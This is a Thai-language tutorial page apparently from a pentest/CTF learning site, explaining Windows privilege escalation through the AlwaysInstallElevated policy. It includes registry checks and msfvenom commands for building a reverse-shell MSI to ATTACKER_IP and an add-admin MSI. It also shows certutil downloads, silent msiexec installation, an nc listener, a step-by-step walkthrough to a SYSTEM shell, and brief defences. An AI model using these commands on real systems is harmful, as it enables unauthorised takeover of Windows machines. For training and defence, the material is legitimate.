คลัง
windows-privesc

AlwaysInstallElevated

AlwaysInstallElevated เป็น policy ที่ทำให้ user ธรรมดาติดตั้ง MSI package ด้วยสิทธิ์ SYSTEM ได้ ถ้าเปิดทั้ง HKCU และ HKLM เราสร้าง malicious MSI แล้วติดตั้งเพื่อรันโค้ดเป็น SYSTEM บทนี้ลงลึกการตรวจ, การสร้าง MSI, การติดตั้ง, และการป้องกัน (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Intermediate#alwaysinstallelevated#windows#privesc#msi#msiexec#registry#ctf

1. หลักการ

AlwaysInstallElevated เป็น Windows policy ที่ออกแบบให้ user ติดตั้ง MSI ที่ต้องสิทธิ์สูงได้โดยไม่ต้องเป็น admin — แต่ถ้าเปิด มันทำให้ติดตั้ง MSI ใดๆ ด้วยสิทธิ์ SYSTEM รวมถึง MSI ที่เราสร้างเอง = privesc ตรงๆ เงื่อนไข: ต้องเปิด (= 1) ทั้ง HKCU และ HKLM

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. ตรวจสอบ (ต้องเปิดทั้งสอง)

ตรวจ registry ทั้ง HKCU + HKLMWindows
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# ต้องได้ 0x1 ทั้งคู่:
#   AlwaysInstallElevated    REG_DWORD    0x1
# ถ้าเปิดแค่ตัวเดียว = ใช้ไม่ได้

# PowerUp / WinPEAS ตรวจให้
# PowerUp: Get-RegistryAlwaysInstallElevated
ต้อง 0x1 ทั้ง HKCU และ HKLM — ถ้าตัวใดตัวหนึ่งเป็น 0 หรือไม่มี = exploit ไม่ได้

3. สร้าง MSI + ติดตั้ง

สร้าง malicious MSI แล้ว msiexecWindows
# === บนเครื่องเรา: สร้าง MSI ด้วย msfvenom ===
# reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o evil.msi
# หรือเพิ่ม admin user
msfvenom -p windows/exec CMD="net localgroup administrators user /add" -f msi -o add.msi

# === ส่งเข้าเป้าหมาย แล้วติดตั้ง (รันเป็น SYSTEM) ===
# download: certutil -urlcache -f http://ATTACKER_IP/evil.msi evil.msi
msiexec /quiet /qn /i evil.msi
# /quiet /qn = เงียบ ไม่มี UI; /i = install

# → payload รันเป็น SYSTEM
# ตรวจ: net localgroup administrators (ถ้าเพิ่ม admin)

# PowerUp ทำให้อัตโนมัติ:
# Write-UserAddMSI  (สร้าง MSI ที่ pop เพิ่ม user)
msfvenom -f msi สร้าง MSI; msiexec /quiet /i ติดตั้งเป็น SYSTEM; PowerUp Write-UserAddMSI ทำให้

4. การป้องกัน

  • อย่าเปิด AlwaysInstallElevated — เป็น policy ที่อันตรายมาก ไม่ควรใช้
  • ตั้งทั้งสอง key เป็น 0 (หรือลบ)
  • ใช้วิธีอื่นในการ deploy software ที่ต้องสิทธิ์ (GPO, SCCM)
  • audit registry policy เป็นระยะ

5. Quick Reference

  • policy ให้ user ติดตั้ง MSI เป็น SYSTEM
  • ตรวจ: reg query HKCU+HKLM ...\Installer AlwaysInstallElevated = 0x1 ทั้งคู่
  • สร้าง: msfvenom -f msi -o evil.msi
  • ติดตั้ง: msiexec /quiet /qn /i evil.msi → SYSTEM
  • PowerUp: Write-UserAddMSI อัตโนมัติ
  • ป้องกัน: ตั้งทั้งสอง key = 0 (อย่าเปิด)

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งได้ shell ธรรมดาบนเครื่อง Windows เป้าหมาย (เช่นจาก web shell/RCE) แล้วสงสัยว่า AlwaysInstallElevated เปิดอยู่หรือเปล่า มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้น

  1. 1เปิด http server บน Kali เพื่อส่งไฟล์: python3 -m http.server 80
  2. 2ส่ง winPEAS เข้าไปเช็คแบบรวดเดียว: บนเป้าหมาย certutil -urlcache -f http:///winPEASx64.exe wp.exe แล้วรัน .\wp.exe quiet cmd fast — ดูว่ามีบรรทัดแดงพื้นเหลืองเรื่อง AlwaysInstallElevated ไหม
  3. 3ถ้าไม่ชัด ตรวจเองด้วยมือ: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated และ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  4. 4ต้องเห็น 0x1 ทั้งสองค่า ถ้าใช่ = exploit ได้แน่นอน
  5. 5บน Kali สร้าง MSI: msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f msi -o evil.msi
  6. 6เปิด listener รอ shell: nc -lvnp 4444
  7. 7ส่ง evil.msi เข้าเป้าหมาย (เช่นผ่าน certutil หรือ impacket-smbserver) แล้วรัน msiexec /quiet /qn /i evil.msi
  8. 8เช็ค listener ที่ Kali — ถ้าได้ shell กลับมา whoami ต้องเป็น nt authority\system
  9. 9ถ้าไม่ได้ผล ตรวจว่า .msi arch ตรงกับเป้าหมาย (x64/x86) แล้วลองใหม่
  10. 10ถ้าทั้งสอง key ไม่ใช่ 0x1 ทั้งคู่เลย ให้ข้ามไปเช็ค vector อื่น (services/registry/scheduled tasks/token)
ตัดสินใจ: AlwaysInstallElevated ใช้ได้ไหม
รัน winPEAS หรือ reg query เช็ค AlwaysInstallElevated
ทั้ง HKCU และ HKLM เป็น 0x1 ไหม?
✅ เป็น 0x1 ทั้งคู่→ สร้าง MSI ด้วย msfvenom แล้ว msiexec ติดตั้ง
❌ ไม่ใช่ / มีแค่ตัวเดียว→ ข้ามไปเช็ค Windows Services แทน
msiexec /quiet /qn /i evil.msi
รอ shell ที่ nc listener
ได้ shell กลับมาเป็น SYSTEM ไหม?
✅ ได้ SYSTEM→ จบ! ยกระดับสำเร็จ
❌ ไม่ได้ / arch ไม่ตรง→ เช็ค x64/x86 แล้วลองใหม่ ไม่งั้นข้ามไปท่าอื่น
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ส่งไฟล์เข้าเป้าหมายpython3 -m http.server--
ตรวจ registry จากระยะไกล (ถ้ามี creds แล้ว)crackmapexec / nxcpipx install netexec-
สร้าง malicious MSImsfvenom (metasploit-framework)--
เปิด reverse shell listenernc / msfconsole-revshells.com
ดู LOLBin ที่เกี่ยวข้อง (msiexec)--lolbas-project.github.io
เข้า shell ทาง WinRM (ถ้ามี creds)evil-winrmgem install evil-winrm-
ค้น exploit เพิ่มเติมตามระบบsearchsploit-exploit-db.com
🚑 ถ้าตันสนิท ลองท่าถัดไป: Win Services (misconfig พบบ่อยกว่านี้อีก), Registry (autorun/credential ที่เก็บไว้), Scheduled Tasks (task ที่รันเป็น SYSTEM), หรือถ้ามี hash/credential อยู่แล้วให้ไป Credential Dumping แล้วต่อด้วย Pass-the-Hash เพื่อ lateral movement

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้